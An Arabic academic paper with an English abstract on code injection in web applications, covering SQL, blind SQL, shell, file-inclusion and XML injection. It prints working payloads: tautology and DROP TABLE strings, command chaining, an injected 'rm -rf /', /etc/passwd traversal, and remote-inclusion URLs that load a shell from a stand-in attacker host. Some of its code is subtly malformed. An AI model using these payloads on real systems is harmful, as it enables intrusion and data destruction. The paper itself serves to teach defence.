طرق الحقن المتقدمة للتعليمات البرمجية في النظم المعلوماتية التي تعمل على الويب

الباحث:شادي شماس[1]

ملخص البحث

إن عملية تطوير البرمجيات والأنظمة المعلوماتية تُعتبر من العمليات المعقدة والمكلفة نسبياً، وكلما ازدادت عملية تعقيد البرامج وتصميم الأنظمة المعلوماتية كلما ازدادت الصعوبة في اكتشاف الأخطاء الموجودة في هذه الأنظمة من قِبَل المبرمجين ومطوري النظم، مما يسبب بدوره أخطاء وفشل فيها، وإحدى عواقب عملية فشل النظام المعلوماتي تدعى بالثغرة الأمنية والتي هي عبارة عن انتهاك واختراق لسياسة الحماية وهذا يكون عادةً بسبب ضعف موجود في قواعد الحماية أو مشكلة تكمن في النظام نفسه، ويمكن القول بأن الغالبية العظمى من الأنظمة المعلوماتية تحتوي على ثغرات أمنية تتراوح ما بين ثغرات أمنية تسبب أضرار بسيطة إلى ثغرات أمنية تسبب أضرار جسيمة، ومن خلال الفهم الكامل والعميق لطبيعة هذه الثغرات ومظهرها يمكن للمبرمج أو مطور النظام أن يقلل من هذه الثغرات أو يمنعها من الحصول قدر الإمكان وبالتالي حل المشكلة بالسرعة الممكنة عند حصولها.

في هذا البحث قمت بإعداد دراسة عن وصف أهم بعض أنواع حقن التعليمات البرمجية، كما تعَرَضتُ لكيفية اكتشاف كل ثغرة منها وطريقة استغلالها أو استثمارها من قبل المهاجم بهدف السيطرة على النظام المعلوماتي الذي يعمل على الويب وبالتالي تنفيذ مايريد من مهام أو أوامر بهدف تعديل أو تخريب أو سرقة البيانات أو تدميرها.

كلمات مفتاحية:

ثغرة، حقن التعليمات البرمجية، أمن نظم المعلومات التي تعمل على الويب، ثغرات أمنية ، مصادقة المستخدم، اختراق المواقع، إدارة قواعد البيانات.

---

[1] دكتور(عضو هيئة تدريسية – مدرس متفرغ) في كلية الهندسة المعلوماتية – قسم هندسة البرمجيات ونظم المعلومات -جامعة البعث.

Advanced injection methods for code in web-based information systems.

Abstract

The process of software development and information systems is a relatively complex and expensive process. The more complicated the software and the design of IT systems, the more difficult it is to discover errors in these systems by programmers and system developers, which in turn causes errors and failures, and one of the consequences of the failure of the information system Is called a security vulnerability which is a violation and breach of protection policy and this is usually because of weakness in the rules of protection or a problem lies in the system itself, and it can be said that the vast majority of information systems contain security vulnerabilities Security vulnerabilities may cause serious damage. Through a full understanding of the nature and appearance of these vulnerabilities, the programmer or system developer can reduce or prevent these vulnerabilities from getting as far as possible and thus resolve the problem as quickly as possible.

In this research I have prepared a study on the description of the most important types of code injection, and also how to detect each of the gap and the way of exploitation or investment by the attacker to control the information system that works on the Web and thus carry out the tasks or orders to modify or sabotage or Data theft or destruction.

Keywords:

Vulnerability, code injection, security of web-based information systems, security vulnerabilities, authentication, site penetration, database management.

١ -مقدمة البحث Introduction to Research:

في المراحل الأولى من ظهور الانترنت كانت صفحات الويب ثابتة تؤدي عمليات عرض المعلومات من المخدم (Server) إلى المتصفح (Browser) فقط، ولكن مع التطور الكبير والسريع في تطبيقات الويب أصبحت الصفحات ديناميكية وأصبحت التطبيقات تعتمد على الاتصال ثنائي الاتجاه من المستعرض إلى المخدم والعكس، وفي وقتنا الحالي يمكن الوصول إلى جميع هذه التطبيقات من عمليات التسوق الالكتروني والخدمات المصرفية والتحقق من رسائل البريد الالكتروني والمزادات وشبكات التواصل الاجتماعي وغيرها من خلال المتصفحات[23] .

يتم استخدام تطبيقات الويب لمشاركة وتحميل الصور والمستندات أو حجز العناصر أو التذاكر أو عمليات الشراء أو البيع الالكتروني بشكل يومي، وهذه الأنواع من العمليات والخدمات ترث العديد من مشكلات الأمان، كما أن تطوير تقنيات الويب يعني ارتفاع نقاط الضعف في الأنظمة المعلوماتية التي تعمل على الإنترنت والتي لا تعيق الشخص فحسب بل تؤثر أيضًا على المنظمة بأكملها وحتى على الحكومة.

ازداد إعتمادنا في الآونة الأخيرة بشكل ملحوظ على تطبيقات الويب وعلى المواقع الإلكترونية التي تُعتبر الواجهة الأساسية للتخاطب والتعامل بين المستخدم وتطبيق الويب، كما ازدادا استخدامها في أنشطتنا الحياتية، وهذا التزايد رافقه بالمقابل زيادة في عدد ومستوى الهجمات من قِبَل القراصنة التي تستهدف هذه التطبيقات والمواقع، ومن بين هذه الهجمات ثغرات حقن التعليمات البرمجية الضارة (Code injection)، حيث تُعتبر عملية حقن التعليمات البرمجية هي التهديد الأكثر خطورة للأنظمة المعلوماتية التي تعمل على الويب، وقد تزايدت الثغرات الأمنية في هذه الأنظمة مع نمو أهميتها، وكان منع هذه الأنظمة من عملية الاستخدام غير المصرح به والحفاظ على سلامة البيانات فيها أمراً صعباً، وخاصةً قواعد البيانات التي تحتوي على بيانات حساسة كهدف رئيسي للمهاجم، فالحماية من هذا النوع من الثغرات يُعتبر أمر مهم للغاية لكل الشركات والمنظمات بكافة أشكالها وأنواعها حيث أنها تُعدّ من أخطر الثغرات الأمنية التي تعمل على تهديد مصداقية المعلومات وسريتها وخصوصيتها وذلك لان تطبيقات الويب الحديثة تحمل

بيانات حساسة، والتعرض لهذه البيانات يمكن أن يؤدي إلى اضطراب شديد في تشغيل الفرد والمؤسسة وتخديمهما بالشكل المناسب [22].

٢ - هدف البحث Research goal:

تسليط الضوء على نقاط الضعف في الأنظمة المعلوماتية التي تعمل على الويب من خلال التركيز على أحد أهم الثغرات الأمنية أو الأخطاء البرمجية التي تتعرض لها المواقع الإلكترونية والتي تدعى ثغرات حقن التعليمات البرمجية الضارة (Code injection)، مثل حقن SQL (SQL injection)، حقن XML (XML injection)، حقن XPath (XPath injection)، حقن LDAP (LDAP injection)، حقن Shell (Shell injection) وحقن تضمين الملف (File inclusion injection) وذلك من خلال التعرض بشيء من التفصيل لمفهوم هذه الثغرات وأهم أنواعها الأكثر انتشاراً وخطورةً، وما هي الآلية أو الطريقة التي من خلالها يتم استغلال أو استثمار كل نوع من أنواع هذا الخطأ البرمجي الذي قد يكون مصاب به الموقع من قبل المهاجم أو المخترق، وبالتالي يستطيع القيام بما يراه مناسب من عمليات تعديل أو تخريب وسرقة البيانات أو تدميرها، وذلك بأسلوب عملي بسيط ومزود بالكود البرمجي الذي يوضح كيفية تطبيق هذه الإجراءات والدوال.

المناقشة Discussion

٣ - مفهوم حقن الشفرة (Code injections):

حقن الشفرة هو إدخال استعلام ضار في نظام الكمبيوتر أو نظام معلومات أو برنامج، والهدف من ذلك الوصول غير المصرح به أو تغيير أو تعديل البيانات أو تعطيل النظام مما يتسبب في رفض الخدمة أو حجبها، ويتم تفسير التعليمات البرمجية التي تم إنشاؤها للهجمات كسلسلة من برنامج قابل للتنفيذ، وتكون عادةً تطبيقات الويب من جانب الخادم هي الأهداف الرئيسية لحقن الشفرة، ووفقًا لتقارير WhiteHat Security ، فإن الغالبية العظمى من مواقع الويب لديها حد أدنى واحد من نقاط الضعف(ثغرة أمنية) الخطيرة وذلك اعتماداً على المهارات والخبرات والتأهيل للمبرمج الذي قام ببنائها وتنفيذها [5][6][7].

في العالم الحقيقي، يقع الحقن تحت فئتين رئيسيتين هما مهاجمة مخازن البيانات (data stores) ومهاجمة المكونات الخلفية (back-end components)، ويقع حقن SQL ،

حقن XPath ، حقن LDAP ، وحقن NoSQL ضمن فئة مهاجمة مخازن البيانات، بينما حقن XML، حقن تضمين الملف (File inclusion injection)، حقن خدمة البريد، حقن أوامر نظام التشغيل يقع ضمن فئة مهاجمة المكونات الخلفية[27] .

٤ - مفهوم السكريبت (Script):

هو ملف يكون عادةً مكتوب بلغة PHP أو أي لغة أخرى ويقوم بخدمة أصحاب المواقع ويُسّهل لهم أمور كثيرة مثل المنتديات، ومراكز التحميل، وألبومات الصور، وسجلات الزوار، ومكتبات البرامج، وغيرها غيرها الكثير ويكاد لا يخلو موقع منها[5] [6] [7] .

٥ - مفهوم الشل (Shell):

الشل (Shell) هو برنامج يعمل كوسيط بين المستخدم ونواة نظام التشغيل، حيث يقوم باستقبال الأوامر من المستخدم ثم إرسالها إلى النواة حتى يتم تنفيذها والتعامل معها لذلك يدعى أحياناً بالغلاف لأنه يغلف النواة (Kernel)، ويمكن من خلاله أن يقوم المهاجم بتنفيذ مجموعة من الأوامر لجمع أكبر قدر ممكن من المعلومات التي تمكنه من إختراق المواقع التي على مخدم معين، وللشل (Shell) أنواع كثيرة لكن الهدف منها جميعها هو تنفيذ الأوامر، أي مهما اختلف شكل الشل (Shell) فله هدف واحد وهو تنفيذ الأوامر للحصول على المعلومات وسرقتها، وعادةً تكون الأوامر هي أوامر نظام التشغيل لينكس (Linux) والذي يُعتبر من أقوى الأنظمة في إدارة المخدمات (Servers) والتحكم بها ويتم الاستفادة من أوامره في رفع الشل (Shell) على أحد المواقع، وباختصار يمكن القول أن الشل (Shell) هو عبارة عن ملف يتم كتابته بلغة PHP عادةً ويقوم هذا الملف بتوجيه أوامر لسيرفر (Server) ما وذلك لفتح مجلد معين أو حذفه أو تعديل محتوياته أو أي شيء آخر يرغب المخترق عمله على المخدم، وهذا الشل (Shell) يتم رفعه عن طريق الثغرات الموجودة بالسكريبتات (Scripts) المركبة بالموقع [12] [13].

٦ - ثغرات حقن SQL (SQL injection):

٦ - ١ -مفهوم حقن SQL:

ثغرة حقن SQL هي آفة عالم الإنترنت، فهي مسؤولة عن العديد من الخروقات الأمنية ولا تزال تُعتبر واحدة من أكبر التهديدات لتطبيقات الويب[15]، ويُعد هذا النوع من الثغرات أحد أكثر ثغرات الويب شيوعاً وتهديداً، فهو طريقة لمهاجمة قاعدة بيانات تطبيق

الويب من خلال تمرير بيانات ضارة إلى مدخلات المستخدم، والتي يمكن أن تتسبب في التنفيذ بشكل خطير في تطبيق الويب، وهذه الثغرة موجودة منذ أن تم ربط قاعدة بيانات SQL بتطبيقات الويب[2] ، ويحدث هذا النوع من الثغرات الأمنية بسبب إهمال المبرمج أو محدودية معرفته بأمان الويب، فالمبرمج لايتحقق من صحة القيمة القادمة من إدخال المستخدم، وفي بعض الحالات، يتم إجراء التحقق من الصحة فقط على جانب العميل بينما لا يتم تطبيق التحقق من الصحة على جانب الخادم[11]، وهناك حالات مختلفة تؤدي إلى مشكلة عدم حصانة SQL في التطبيق بعض هذه الحالات هي:

٦-١-١- Incorrectly handled escape characters :

عندما لا تتم تصفية الحروف المهربة (سلاسل الهروب)، فإن قاعدة بيانات SQL تفسر العبارة بطريقة مختلفة، والتي توفر معلومات كافية للمتسللين لمعرفة ما إذا كان موقع الويب عرضة لأي هجوم حقن SQL أم لا، ولتوضيح ذلك سنفترض انه لدينا الاستعلام التالي[11] [15]:

```
SELECT * FROM user WHERE name =' $uname';
```

إذا تم تنفيذ الاستعلام السابق وكان عدد مرات إرجاع الصف أكثر من 0، فستقوم قاعدة البيانات بسحب كل السجل الذي ينتمي إلى المتغير $uname ، ومع ذلك إذا لم يتم تعقيم المتغير $uname وقام المستخدم بتمرير بعض الأحرف المهربة جنباً إلى جنب مع السلسلة مثل "Person" أو "1" = "1" كدخل عند عملية إرسال النموذج، فإن عبارة SQL ستصبح كالتالي:

```
SELECT * TABLE user WHERE name =' Person ' OR '1'='1';
```

في هذه الحالة ستقوم قاعدة بيانات SQL بإرجاع كافة السجلات حتى إذا كان الاسم غير صحيح لأن قاعدة البيانات تقرأ عبارة OR التي تقول "1" = "1" ، والتي تكون دائماً صحيحة، وبهذه الطريقة، يمكن للمرء الوصول إلى قاعدة البيانات دون أي بيانات اعتماد، علاوةً على ذلك، إذا قام المستخدم بتمرير سلاسل مثل:

```
" Person'; DROP TABLE user;"
```

فسيتم حذف الجدول بالكامل حيث تقرأه عبارة SQL بطريقة مختلفة، وهناك العديد من الأحرف التي تعمل كأحرف هروب (سلاسل هروب) مثل مساحة فارغة () ، أنبوب

مزدوج (||)، فاصلة (،) ، علامات اقتباس مزدوجة ('') لها معان خاصة، والاستعلام التالي يبين ذلك:

```
SELECT * TABLE user WHERE name = 'Person';
DROP TABLE user;
```

٦-١-٢- Incorrectly handled types:

تعمل علامات الاقتباس المفردة (') كمحدد سلسلة فعندما يتم استخدام علامات الاقتباس الفردية مع رقم، سيتم التعامل مع الرقم كسلسلة، ولا يتم التحقق من حقن SQL بسبب نوع التعامل غير الصحيح عند تمرير معلمة رقمية إلى إدخال المستخدم لقيود الكتابة، فمثلاً إذا كان لدينا الاستعلام التالي:

```
SELECT * TABLE user WHERE uid = $id;
```

فإذا قام المستخدم بتمرير سلسلة إدخال مثل:

```
" 1; DROP TABLE user;"
```

فسيصبح استعلام SQL كالتالي:

```
SELECT * TABLE user WHERE uid = 1;
DROP TABLE user;
```

وسيؤدي تنفيذ هذا الاستعلام إلى حذف جدول المستخدمين[11] [15].

٦-١-٣- Incorrectly handled errors:

سيحدث حقن SQL بسبب معالجة خطأ بشكل غير صحيح، عندما يقوم الخادم بتفريغ بعض رسائل الخطأ التي يتم عرضها من خلال تطبيقات الويب إلى المهاجم، ويحتوي هذا النوع من رسائل الخطأ على معلومات حساسة حول التطبيق أو منطق قاعدة البيانات التي توفر أدلة إلى المهاجم لتحديد ما إذا كانت قاعدة البيانات عرضة لأي هجوم حقن SQL أم لا، وتساعد رسالة الخطأ المهاجم على تطوير الحقن الذي يستخدم في معالجة البيانات في قاعدة البيانات، دعنا نفترض أن المهاجم يمرر مدخلات ضارة بطابع هروب مثل "Person" كما هو في الاستعلام التالي:

```
SELECT * TABLE user WHERE name ='$uname';
```

إذا كان المطور لديه كود خطأ مناسب للتعامل مع الاستثناءات المتوقعة أو غير المتوقعة، قد يرى المهاجم رسائل مثل "الاسم غير موجود" أو " رسالة غير معروفة " مرسلة من قبل

التطبيق، ولكن في حالة سوء معالجة الأخطاء، سيتم إرسال رسالة الخطأ بواسطة خادم قاعدة البيانات مما يجعل المهاجم متأكداً من أن تطبيق الويب عرضة لحقنSQL [7][11][15].

٦ - ٢ - Blind SQL injection:

الحقن الأعمى هو تلك الهجمات التي يمرر فيها المهاجم بياناً صحيحاً أو كاذباً منطقياً ويحدد الإجابة بناءً على ملاحظات التطبيق، وقد تحتوي هذه الاستجابة على بعض المعلومات حول قاعدة البيانات التي يمكنها مساعدة المهاجم على تحديد بنية قاعدة البيانات والمساعدة في إنشاء مخطط قاعدة البيانات والاستعداد لهجمات مستقبلية مثل رسالة خطأ من خادم قاعدة البيانات حول بناء جملة SQL Query ، وعندما يكون بناء الجملة غير صالح، يحقن من قبل المستخدمين، ويتم استخدامه في مثل هذه الحالات عندما يكون التطبيق عرضة لحقن SQL ولكن النتائج غير مرئية، وتولد أخطاء البرمجة رسائل من هذا النوع[11][15].

يتم استلام المدخلات وتنفيذها من قبل التطبيق دون تصفية أو التحقق من الصحة، وتتم عملية ممارسة هذا الهجوم عموماً لاستعادة مسار المصادقة، والوصول إلى قاعدة البيانات وتعديل البيانات [11] [15].

عادة المتسللين تعتمد على رسالة الخطأ من خادم قاعدة البيانات لتحديد ثغرة SQL ، ومع ذلك، وفي حالة وجود حقن SQL أعمى، لا يعتمد المخترق على رسالة الخطأ، بل يقوم بدلاً من ذلك بتمرير عبارة TRUE أو FALSE المنطقية مع طلب إدخال المستخدم ويعتمد على الصفحة المحددة المعروضة، وإذا قام الاستعلام بإرجاع TRUE ، فسيتم عرض الصفحة وإذا قام الاستعلام بإرجاع FALSE ، فلن يتم عرض الصفحة، ويتم استخدام هذا النوع من حقن SQL من قبل المهاجم أو المخترق عندما يتم تعطيل رسالة الخطأ من خادم قاعدة البيانات.

SELECT * FROM user WHERE name = ‘Person’ AND 1=1;

ففي الاستعلام التالي يفرض رمز حقن قاعدة البيانات لتقييم العبارة المنطقية وعرض الصفحة العادية منذ العبارة true .

SELECT * FROM user WHERE name = ‘Person’ AND 1=2;

من المرجح أن يعرض التطبيق رسالة خطأ SQL من قاعدة البيانات إذا لم يتم التحقق من صحة وسيط الإدخال أو تعقيمه وتوفر رسالة الخطأ معلومات كافية للمهاجم حول إمكانية وجود حقن SQL أعمى [1][7] [11].

٧-ثغرات حقن الشل (shell injection):

تُعرف أيضا باسم حقن أمر نظام التشغيل (OS command injection)، فهي طريقة لحقن أوامر نظام التشغيل عبر واجهة ويب على خادم ويب، وهذا الأسلوب أو الطريقة في الحقن غير مستخدمة بشكل كبير وشائع من قبل المهاجم أو المخترق إلا أنه قد يتسبب في أضرار جسيمة، إذ انه إذا لم يتم تطهير مدخلات المستخدم، فيمكن للمهاجم أن يقوم بتشغيل أوامر نظام التشغيل مع امتياز خاص به وتحميل البرامج الضارة أو تدمير أو إزالة كلمة المرور من نظام التشغيل[24]، فهذه الثغرة تقع عندما يتم وضع برنامج ما ليقوم بعمل معين ويعتمد بشكل أساسي على مدخلات العميل، فإنه من الممكن أن يقوم المهاجم بإدخال رموز لتنفيذ أوامره الخاصة بدلاً من الأوامر الخاصة بالموقع، فمثلاً إذا كان لدينا برنامج صغير كالبرنامج التالي:

```
"system(), Startprocess(),
java.lang.Runtime.exec(),
System.Diagnostics.Process.Start()"
In other
<?php
passthru ("_/home/user/php/page/aabb-"
.$_GET(['USER_INPUT']);
 ?>
```

فإن هذا البرنامج الصغير يمكن تنفيذه بطرق مختلفة عن طريق إضافة وظائف مختلفة إليه، ويمكن استخدامه للكتابة فوق ملف أو لإدخال ملف جديد، أو لتشغيل وظائف المعاملات && أو || وعرض أو إظهار نتيجة البرنامج، فعلى سبيل المثال يمكن للمستخدمين ببساطة إدخال عنوان URL كمايلي:

www.example.com/viewcontent.php?filename=nameoffile.txt

نلاحظ أن عنوان URL أعلاه يعرض صفحة PHP كما هو متوقع من قبل المستخدمين والتي تحتوي على محتويات الملف النصي nameoffile ولكن يمكن التلاعب بنفس عنوان URL كما يلي:

www.example.com/viewcontent.php?filename= nameoffile.txt;ls

المهاجمون هنا يدخلون الدالة "ls" ، ولا يعرض هذا الأمر صفحة PHP فقط بل يسرد الملفات في الدليل أو المجلد، ويمكن إنشاء أمر جديد إضافي من خلال الجمع بين سلسلة من أوامر shell ، ثم يتم دمج الأوامر باستخدام العمليات المنطقية (||, &&, ;)، والأنابيب (| =) والأوامر السطرية (؛ و $)، ويمكن للمهاجمين أيضا العمل على تنفيذ مايخططون له من أعمال تخريب وسرقة وتحكم وسيطرة بعد إنشاء الوصول إلى shell، والعثور على نقاط ضعف أخرى واستغلالها، ويوفر حقن shell الناجح امتيازات التحكم الكامل في الخادم (server) المستهدف[24].

يعد تطبيق الويب الذي يستخدم لغة ويب معروفة مثل Perl أو أحد التطبيقات التي يتم استخدامها لفتح الملفات أو تحميلها مكاناً مناسباً لحقن الشل (Shell injection)، وتلك التطبيقات التي تعتمد على أوامر نظام التشغيل أو لا تستخدم المكتبات المناسبة لاسترداد النتيجة تكون عرضة لحقن شل [24].

مفهوم هذه الثغرة يختلف من شخص إلى آخر، فالبعض يقول بأنها أي نوع من أنواع الهجوم التي تتضمن إدخال أوامر معينة وتنفيذها على نظام التشغيل والتي تسمى مسار البحث الغير موثوق (untrusted search path) والبعض الآخر يُعرّفها بأنها هي القدرة على حقن أوامر داخل المتغيرات التي تُستخدم مع البرامج المسيطرة (application-controlled program) مثل البرنامج الشهير nslookup، وبالنتيجة يمكن القول بأنه من الممكن أن يقوم المهاجم بتنفيذ أوامر خطرة بشكل مباشر على النظام مع أنه لا يملك أي صلاحية عليها، ويجب التنبيه إلى أن هذه المشكلة أو الثغرة تحدث على مستوى تصميم وهيكلية النظام، بالإضافة إلى أن جميع اللغات البرمجية بلا استثناء تتأثر بها، وقد قامت المنظمتان CWE و Sans بتصنيفها بأنها عالية الخطورة ويتم حقن هذه الأوامر بطريقتين:[4] [10] [26]

١- الحقن عن طريق دمج أمر خبيث مع متغيرات برنامج معين، على سبيل المثال برنامج nslookup الذي يكتب بالشكل:

nslookup [HOSTNAME]

حيث إن HOSTNAME عبارة عن اسم المضيف الذي يُرسل إلى برنامج معين بصفته متغيراً، وهذه البرامج قد تسمح للمهاجم بأن يقوم بتحديد هذا المتغير، من هذه النقطة أعطت إمكانية للمهاجم بأن يتلاعب بهذا المتغير ويقوم بإضافة أوامر خبيثة وتنفيذها على نظام التشغيل، ويزيد الأمر خطورة أنه إذا لم يمتلك البرنامج إمكانية فصل الأوامر التي تأتي مع اسم المضيف، فابإمكان المهاجم أن يرسل اسم المضيف متبوعاً بالأمر المراد تنفيذه وبينهما فاصلة منقوطة (;).

٢- حقن أوامر أو القيام بتشغيل برامج على مستوى الخادم، وهذا يحدث عندما يُعطي النظام الإشارة الخضراء للمهاجم، بحيث أن النظام يقبل أي مدخلات من العميل سواء كان زائراً أو مهاجماً، وتكون هذه المدخلات على شكل متغيرات لبعض الدوال، على سبيل المثال من الممكن استخدام الدالة المعروفة (exec([COMMAND]) التي تقوم بتنفيذ أوامر خاصة بنظام التشغيل، وكذلك أعطى الصلاحية للمهاجم بأن يقوم بإضافة أوامر أو تشغيل برامج ليس له صلاحية فيها، ويجب التنبيه إلى أن هذه المشكلة أو الثغرة تحدث على مستوى تصميم، وهيكلية النظام، بالإضافة إلى أن جميع اللغات البرمجية بلا إستثناء تتأثر بها، وقد قامت منظمة Sans بتصنيفها بأنها ذات خطورة عالية، ولتوضيح ذلك لنأخذ المثال التالي:

```
global $HTTP_GET_VARS;
$_variablename = $HTTP_GET_VARS[variablename];
echo exec($_variablename);
```

تقوم الدالة exec بتنفيذ أوامر نظام التشغيل، وكذلك تشغيل برامج أو ملفات خارجية، كذلك لهذه الدالة فوائد منها إمكانية التعامل مع الملفات التي تملك اللاحقة SWF.* ، أو التي تملك اللاحقة PDF.*، ولكن بما أن الأوامر تستقبل من الخارج (العميل) فمن الممكن أن توضع أوامر لكشف المجلدات وملفات الموقع بكل سهولة، ومن ثم يتم الإختراق، شاهد النص البرمجي التالي:

```
global $HTTP_GET_VARS;
$id_departement = $HTTP_GET_VARS[' id_departement '];
```

```
echo exec("$id_departement ");
```

في النص البرمجي السابق تم إستقبال id_departement وجعله كمتغير للدالة exec وبهذه الطريقة تم جعل الخادم عرضة للخطر، حيث أنه بتنفيذ الأمر التالي:

```
copy C:\\AppServ\\www\\p2\\2.txt d:\\ss
```

يستطيع المهاجم نسخ أي ملف يريد إلى جهازه وقراءته مثلما يريد[4] [10] [26] .

في PHP هناك العديد من الوظائف أو الدوال التي تنفذ أوامر shell، ومنها الدالة eval()، حيث تُعتبر من الدوال الخطيرة في PHP، فهي تقوم بتقييم سلسلة إدخال ككود PHP، فإذا مامر الأمر الخبيث من خلال المدخلات، فسيتم تنفيذ التعليمة البرمجية ديناميكياً في وقت التشغيل، يوضح المثال التالي كيف يتم حقن أمر في تطبيق حيث يتم استخدام الدالة eval() [24]:

```
<?PHP
$username = $_GET [‘name’];
$command = 'ls -l /home/'. $username;
eval ($command);
?>
```

كما هو مبين التطبيق يقبل البيانات عن بعد ويقوم بتنفيذ التعليمات البرمجية، إذا كان المهاجم يمرر رمز خبيث في نهاية المطاف، سيتم تنفيذه لأنه لا توجد آلية التعقيم أو التحقق من صحة الإدخال، فمثلاً إذا مرر المهاجم الرموز " rm-rf /"; إلى المتغير $username، فسيتم تنفيذ الدالة eval() كما هو موضح في السطر التالي:

```
eval ('ls -l /home/; rm-rf/');
```

نلاحظ هناك جزئين من الرموز داخل الدالة eval() مفصولة بعلامة فاصلة منقوطة، في الجزء الأول، سيقوم نظام التشغيل بتنفيذ الأمر ls وفي الجزء الثاني سيحذف نظام الملفات بأكمله.

٨- ثغرات حقن تضمين الملفات (File Include injection):

هي عبارة عن تطبيق أكواد عبر إدخال أو حقن ملفات باستخدام دوال معينة تكون مستخدمة بالسكريبت لتطبيق أوامر أخرى، والدوال التي يمكن استغلالها لتطبيق هذه الثغرة هي إحدى الدوال التالية include , require , include_once , require_once ، وهذه الدوال تقوم بتطبيق محتوى ملف معين كملف برمجي، أي إدخال أو حقن الأكواد

من ملفات خارجية، ولا يخلوا أي سكريبت من أحد هذه الدوال، وتكون هذه الثغرة في استخدام المتغيرات داخل هذه الدوال وإمكانية التعديل على المتغير [24][25] .

هناك نوعين الأول يدعى Remote File Include وهو عملية تطبيق كود من ملف (أي ملف كان)، وليس بالضرورة أن يكون على نفس المخدم (Server)، أي يمكن تطبيق أكواد أي ملف آخر ودون أي مشاكل، أما النوع الثاني فهو Local File Include وهو إمكانية تطبيق كود أي ملف آخر من على نفس السيرفر (Server)، وثغرات الريموت (Remote) خطيرة جداً والسبب أنها تنفذ أوامر على السيرفر ويمكن من خلالها المخترق أن يسيطر على الموقع بشكل كامل [7][24][25] .

لكي يتم اكتشاف ثغرات الفايل إنكلود (File Include) واستثمارها يجب البحث بالشفرة المصدرية أو الكود للسكريبتات (Scripts code)، والكود التالي المكتوب بلغة php يُعتبر مثال على ثغرات الفايل إنكلود (File Include) [24][25]:

```
<?php
$page = $_GET['page'];
include ($page);
?>
```

نلاحظ من الكود السابق أنه يمكن تطبيق الثغرة بكل سهولة على الملف بإستخدام المتغير page ويكون الاستغلال كالتالي:

```
file.php?page=shell.txt?
```

وبعد التنفيذ إذا كانت الثغرة موجودة والموقع مصاب بها فسيتم عرض الشل (shell) وهنا تأتي مرحلة تنفيذ الأوامر الخاصة بنظام التشغيل لينكس (Linux)، ويجب التنبيه إلى أن رابط الشل (shell) جاء بعد علامة المساواة (=)، وأيضاً لابد أن يكون الشل بامتداد txt.* وبعد رابط الشل يجب وضع علامة الاستفهام.

أو يمكن أن يكون باستخدام أي ملف آخر كما في الشكل التالي مثلاً:

```
file.php?page=http://example.com/soqor10/cmd.txt&cmd=id
```

أما إذا كان كود الـphp مكتوب على الشكل التالي مثلاً [24][25]:

```
<?php
$page = $_GET['page'];
include ("./pages/$page");
?>
```

فهنا يمكن استخدام النقاط بشكل طبيعي لتخطي المجلدات، فمثلاً لو كان مسار الملف على الشكل التالي:

/home/user/public_html/file.php

فيكون الاستغلال للوصول إلى المجلد /etc/passwd كمايلي:

file.php?page=../../../../etc/passwd

أما إذا تم رفع ملف شل (Shell) بامتداد gif مثلاً على مركز رفع موجود على نفس السيرفر أو المخدم وكان مسار الملف مثلاً هو[24][25]:

/home/upload/public_html/uploads/file01c144dd.gif

فيتم إدخاله بالطريقة التالية:

file.php?page=../../../../home/upload/public_html/uploads/file01c144dd.gif

ويجب التنبيه إلى أن أحد الأسباب الهامة لوجود هذا النوع من الثغرات أو الأخطاء البرمجية هو إستخدام المبرمج المتغيرات العامة (global variables)، كما في الكود البرمجي التالي المكتوب بلغة php [24][25] :

```
<?
$var="http://attacker/script.txt";
?>
```

فأكبر خطأ من أخطاء المبرمج هو اعتقاده أن الكود الذي قام بكتابته هو كود كامل ولا يحوي على أي خطأ، وكمثال بسيط لو اقترضنا أن هناك ملف يدعى script.php والكود المكتوب ضمنه هو كالتالي[24][25] :

```
<?
----------
include ($file);
----------
?>
```

فكما نلاحظ أن المبرمج قد ترك المتحول $file غير معرف لديه وله قيمة محددة لذلك يمكن فعل الآتي من قبل المهاجم أو المخترق (Hacker):

http://host/script.php?file=http://attacker/shell.txt

والذي حدث هنا أنه تم جعل الـ script.php يقوم بتشغيل الكود الموجود ضمن الموقع http://attacker/shell.txt

والذي من الممكن أن يوضع فيه شيئاً كهذا الكود البرمجي مثلاً:

```
<?
system($x);
?>
```

وبالتالي السطر:

```
http://host/script.php?file=http://attacker/shell.txt&x=ls-al
```

سوف يقوم باستعراض كل الملفات الموجودة بالموقع، وهذا لا يمكن فعله إلا في حال كان:

```
Safe mode=on
global variables = on
```

ويمكن أن يوضع كود آخر في shell.txt وخصوصاً إذا كان الوضع الآمن (Safe mode) يعمل، فمثلاً الكود التالي:

```
<?
phpinfo();
?>
```

سوف يقوم باستعراض كل المعلومات الخاصة بالمخدم (server) مع ملاحظة أن:

```
$file="http://attacker/shell.txt";
```

وهذا ناتج عن المتغير العام (global variable)، وللحماية من فخ الوقوع في مشكلة استخدام المتغيرات العامة فإنه يجب على المبرمج أن يكتب ضمن ملف php.conf السطر البرمجي التالي:

```
global variables ="off"
```

وبالتالي يجب على مدير السيرفر إغلاق تلك الخاصية [24][25].

٩-ثغرات حقن XML (XML injection):

هذا النوع من الثغرات هو حقن استعلامات XPath للوصول إلى قاعدة بيانات من النوع XML، فهو تقنية لاستخراج محتويات الملفات أو قاعدة بيانات XML التي تعالج استعلاماتXML، فكما نعلم بأن XML هي لغة الترميز الموسعة التي تم تطويرها بواسطة شبكة الويب العالمية، ويقسم الملف فيها إلى فروع مختلفة، فهي تعمل كشجرة مع العديد من العقد التي تُربط مع الجذر الرئيسي، وهناك العديد من العقد مثل المصدر

والعنصر والسمة والنص والتعليقات وتعليمات المعالجة وغيرها[3][8] والمثال التالي يوضح ذلك:

```
<?xml version =”1.0” encoding=”UTF=8”?>
<BOOK>
<TITLE>SQL injection>TITLE/>
< AUTHOR/>Person<AUTHOR/>
<PRICE/>20 <PRICE/>
<YEAR>2018<YEAR/>
<BOOK/>
```

غالبًا ما تعمل لغة XML بالتوازي مع تقنية JSON من خلال واجهات برمجة تطبيقات خدمة الويب، ويُستخدم مايسمى مخططات XML (XML schemas) مثل RSS و Atom و SOAP و RDF، ويتم استخدام لغة XML في معظم المتصفحات لتبادل الرسائل ، وفي مخدمات الويب (web servers) وفي إضافات المتصفح (browser extensions) [8]، أي بمعنى آخر يستخدم تطبيق الويب لغة توصيف شاملة (XML) لتنفيذ الطلب والاستجابة بين المتصفح والتطبيق الأمامي والخلفي، ويستخدم XML في خدمات الويب مثل SOAP و WSDL و REST ، و بما أن XML يُستخدم لنقل البيانات من العميل إلى التطبيق وبالعكس، فهذا بدوره يمكِّن المستخدمين من توفير بيانات ضارة مختلفة كدخل، والذي بدوره يلغي (يعيد كتابة) محتويات وثيقة XML (XML Document)، مما يسبب الضرر المحتمل للتطبيق[25]، وبما أنها أيضاً تُستخدم على نطاق واسع ، فالمهاجمون حريصون على استغلال نقاط الضعف فيها.

